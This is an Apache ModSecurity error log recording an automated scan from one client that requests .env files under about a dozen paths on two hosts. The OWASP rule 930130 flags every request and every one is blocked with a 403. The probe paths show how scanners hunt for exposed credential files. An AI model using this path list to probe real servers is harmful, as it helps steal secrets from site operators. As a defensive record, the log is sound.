[Sat Oct 24 21:49:33.428441 2026] [security2:error] [pid 2684583:tid 2684583] [client 34.19.162.36:56810] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.json"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "lentes2.sherwinpinturas.com"] [uri "/.env.json"] [unique_id "at1gLT8oejtZfsaip1YpIAAAABE"]
[Sat Oct 24 21:49:33.428599 2026] [security2:error] [pid 2684583:tid 2684583] [client 34.19.162.36:56810] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "lentes2.sherwinpinturas.com"] [uri "/.env.json"] [unique_id "at1gLT8oejtZfsaip1YpIAAAABE"]
[Sat Oct 24 21:49:33.428918 2026] [security2:error] [pid 2684583:tid 2684583] [client 34.19.162.36:56810] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "lentes2.sherwinpinturas.com"] [uri "/.env.json"] [unique_id "at1gLT8oejtZfsaip1YpIAAAABE"]
[Sat Oct 24 21:49:33.437051 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.19.162.36:56816] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /public/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "lentes1.sherwinpinturas.com"] [uri "/public/.env"] [unique_id "at1gLTKiZtbKEGWJKoLWZAAAACE"]
[Sat Oct 24 21:49:33.437187 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.19.162.36:56816] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "lentes1.sherwinpinturas.com"] [uri "/public/.env"] [unique_id "at1gLTKiZtbKEGWJKoLWZAAAACE"]
[Sat Oct 24 21:49:33.437426 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.19.162.36:56816] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "lentes1.sherwinpinturas.com"] [uri "/public/.env"] [unique_id "at1gLTKiZtbKEGWJKoLWZAAAACE"]
[Sat Oct 24 21:49:33.473985 2026] [security2:error] [pid 2684583:tid 2684583] [client 34.19.162.36:56810] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.yaml"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "lentes2.sherwinpinturas.com"] [uri "/.env.yaml"] [unique_id "at1gLT8oejtZfsaip1YpIQAAABE"]
[Sat Oct 24 21:49:33.474169 2026] [security2:error] [pid 2684583:tid 2684583] [client 34.19.162.36:56810] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "lentes2.sherwinpinturas.com"] [uri "/.env.yaml"] [unique_id "at1gLT8oejtZfsaip1YpIQAAABE"]
[Sat Oct 24 21:49:33.474405 2026] [security2:error] [pid 2684583:tid 2684583] [client 34.19.162.36:56810] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "lentes2.sherwinpinturas.com"] [uri "/.env.yaml"] [unique_id "at1gLT8oejtZfsaip1YpIQAAABE"]
[Sat Oct 24 21:49:33.519625 2026] [security2:error] [pid 2684583:tid 2684583] [client 34.19.162.36:56810] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.yml"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "lentes2.sherwinpinturas.com"] [uri "/.env.yml"] [unique_id "at1gLT8oejtZfsaip1YpIgAAABE"]
[Sat Oct 24 21:49:33.519883 2026] [security2:error] [pid 2684583:tid 2684583] [client 34.19.162.36:56810] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "lentes2.sherwinpinturas.com"] [uri "/.env.yml"] [unique_id "at1gLT8oejtZfsaip1YpIgAAABE"]
[Sat Oct 24 21:49:33.520184 2026] [security2:error] [pid 2684583:tid 2684583] [client 34.19.162.36:56810] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "lentes2.sherwinpinturas.com"] [uri "/.env.yml"] [unique_id "at1gLT8oejtZfsaip1YpIgAAABE"]
[Sat Oct 24 21:49:33.522100 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.19.162.36:56816] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /admin/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "lentes1.sherwinpinturas.com"] [uri "/admin/.env"] [unique_id "at1gLTKiZtbKEGWJKoLWZQAAACE"]
[Sat Oct 24 21:49:33.522266 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.19.162.36:56816] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "lentes1.sherwinpinturas.com"] [uri "/admin/.env"] [unique_id "at1gLTKiZtbKEGWJKoLWZQAAACE"]
[Sat Oct 24 21:49:33.522480 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.19.162.36:56816] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "lentes1.sherwinpinturas.com"] [uri "/admin/.env"] [unique_id "at1gLTKiZtbKEGWJKoLWZQAAACE"]
[Sat Oct 24 21:49:33.563568 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.19.162.36:56816] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /backend/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "lentes1.sherwinpinturas.com"] [uri "/backend/.env"] [unique_id "at1gLTKiZtbKEGWJKoLWZgAAACE"]
[Sat Oct 24 21:49:33.563787 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.19.162.36:56816] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "lentes1.sherwinpinturas.com"] [uri "/backend/.env"] [unique_id "at1gLTKiZtbKEGWJKoLWZgAAACE"]
[Sat Oct 24 21:49:33.564106 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.19.162.36:56816] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "lentes1.sherwinpinturas.com"] [uri "/backend/.env"] [unique_id "at1gLTKiZtbKEGWJKoLWZgAAACE"]
[Sat Oct 24 21:49:33.584722 2026] [security2:error] [pid 2684583:tid 2684583] [client 34.19.162.36:56810] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /app/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "lentes2.sherwinpinturas.com"] [uri "/app/.env"] [unique_id "at1gLT8oejtZfsaip1YpIwAAABE"]
[Sat Oct 24 21:49:33.584915 2026] [security2:error] [pid 2684583:tid 2684583] [client 34.19.162.36:56810] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "lentes2.sherwinpinturas.com"] [uri "/app/.env"] [unique_id "at1gLT8oejtZfsaip1YpIwAAABE"]
[Sat Oct 24 21:49:33.585173 2026] [security2:error] [pid 2684583:tid 2684583] [client 34.19.162.36:56810] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "lentes2.sherwinpinturas.com"] [uri "/app/.env"] [unique_id "at1gLT8oejtZfsaip1YpIwAAABE"]
[Sat Oct 24 21:49:33.599709 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.19.162.36:56816] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /server/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "lentes1.sherwinpinturas.com"] [uri "/server/.env"] [unique_id "at1gLTKiZtbKEGWJKoLWZwAAACE"]
[Sat Oct 24 21:49:33.599884 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.19.162.36:56816] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "lentes1.sherwinpinturas.com"] [uri "/server/.env"] [unique_id "at1gLTKiZtbKEGWJKoLWZwAAACE"]
[Sat Oct 24 21:49:33.600084 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.19.162.36:56816] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "lentes1.sherwinpinturas.com"] [uri "/server/.env"] [unique_id "at1gLTKiZtbKEGWJKoLWZwAAACE"]
[Sat Oct 24 21:49:33.609473 2026] [security2:error] [pid 2684583:tid 2684583] [client 34.19.162.36:56810] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /apps/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "lentes2.sherwinpinturas.com"] [uri "/apps/.env"] [unique_id "at1gLT8oejtZfsaip1YpJAAAABE"]
[Sat Oct 24 21:49:33.609638 2026] [security2:error] [pid 2684583:tid 2684583] [client 34.19.162.36:56810] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "lentes2.sherwinpinturas.com"] [uri "/apps/.env"] [unique_id "at1gLT8oejtZfsaip1YpJAAAABE"]
[Sat Oct 24 21:49:33.609882 2026] [security2:error] [pid 2684583:tid 2684583] [client 34.19.162.36:56810] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "lentes2.sherwinpinturas.com"] [uri "/apps/.env"] [unique_id "at1gLT8oejtZfsaip1YpJAAAABE"]
[Sat Oct 24 21:49:33.655430 2026] [security2:error] [pid 2684583:tid 2684583] [client 34.19.162.36:56810] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /api/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "lentes2.sherwinpinturas.com"] [uri "/api/.env"] [unique_id "at1gLT8oejtZfsaip1YpJQAAABE"]
[Sat Oct 24 21:49:33.655659 2026] [security2:error] [pid 2684583:tid 2684583] [client 34.19.162.36:56810] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "lentes2.sherwinpinturas.com"] [uri "/api/.env"] [unique_id "at1gLT8oejtZfsaip1YpJQAAABE"]
[Sat Oct 24 21:49:33.655974 2026] [security2:error] [pid 2684583:tid 2684583] [client 34.19.162.36:56810] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "lentes2.sherwinpinturas.com"] [uri "/api/.env"] [unique_id "at1gLT8oejtZfsaip1YpJQAAABE"]
[Sat Oct 24 21:49:33.669347 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.19.162.36:56816] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /frontend/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "lentes1.sherwinpinturas.com"] [uri "/frontend/.env"] [unique_id "at1gLTKiZtbKEGWJKoLWaAAAACE"]
[Sat Oct 24 21:49:33.669517 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.19.162.36:56816] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "lentes1.sherwinpinturas.com"] [uri "/frontend/.env"] [unique_id "at1gLTKiZtbKEGWJKoLWaAAAACE"]
[Sat Oct 24 21:49:33.669810 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.19.162.36:56816] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "lentes1.sherwinpinturas.com"] [uri "/frontend/.env"] [unique_id "at1gLTKiZtbKEGWJKoLWaAAAACE"]
[Sat Oct 24 21:49:33.706312 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.19.162.36:56816] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /src/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "lentes1.sherwinpinturas.com"] [uri "/src/.env"] [unique_id "at1gLTKiZtbKEGWJKoLWaQAAACE"]
[Sat Oct 24 21:49:33.706538 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.19.162.36:56816] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "lentes1.sherwinpinturas.com"] [uri "/src/.env"] [unique_id "at1gLTKiZtbKEGWJKoLWaQAAACE"]
[Sat Oct 24 21:49:33.706935 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.19.162.36:56816] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "lentes1.sherwinpinturas.com"] [uri "/src/.env"] [unique_id "at1gLTKiZtbKEGWJKoLWaQAAACE"]
[Sat Oct 24 21:49:33.744333 2026] [security2:error] [pid 2684583:tid 2684583] [client 34.19.162.36:56810] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /web/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "lentes2.sherwinpinturas.com"] [uri "/web/.env"] [unique_id "at1gLT8oejtZfsaip1YpJgAAABE"]
[Sat Oct 24 21:49:33.744620 2026] [security2:error] [pid 2684583:tid 2684583] [client 34.19.162.36:56810] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "lentes2.sherwinpinturas.com"] [uri "/web/.env"] [unique_id "at1gLT8oejtZfsaip1YpJgAAABE"]
[Sat Oct 24 21:49:33.745038 2026] [security2:error] [pid 2684583:tid 2684583] [client 34.19.162.36:56810] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "lentes2.sherwinpinturas.com"] [uri "/web/.env"] [unique_id "at1gLT8oejtZfsaip1YpJgAAABE"]
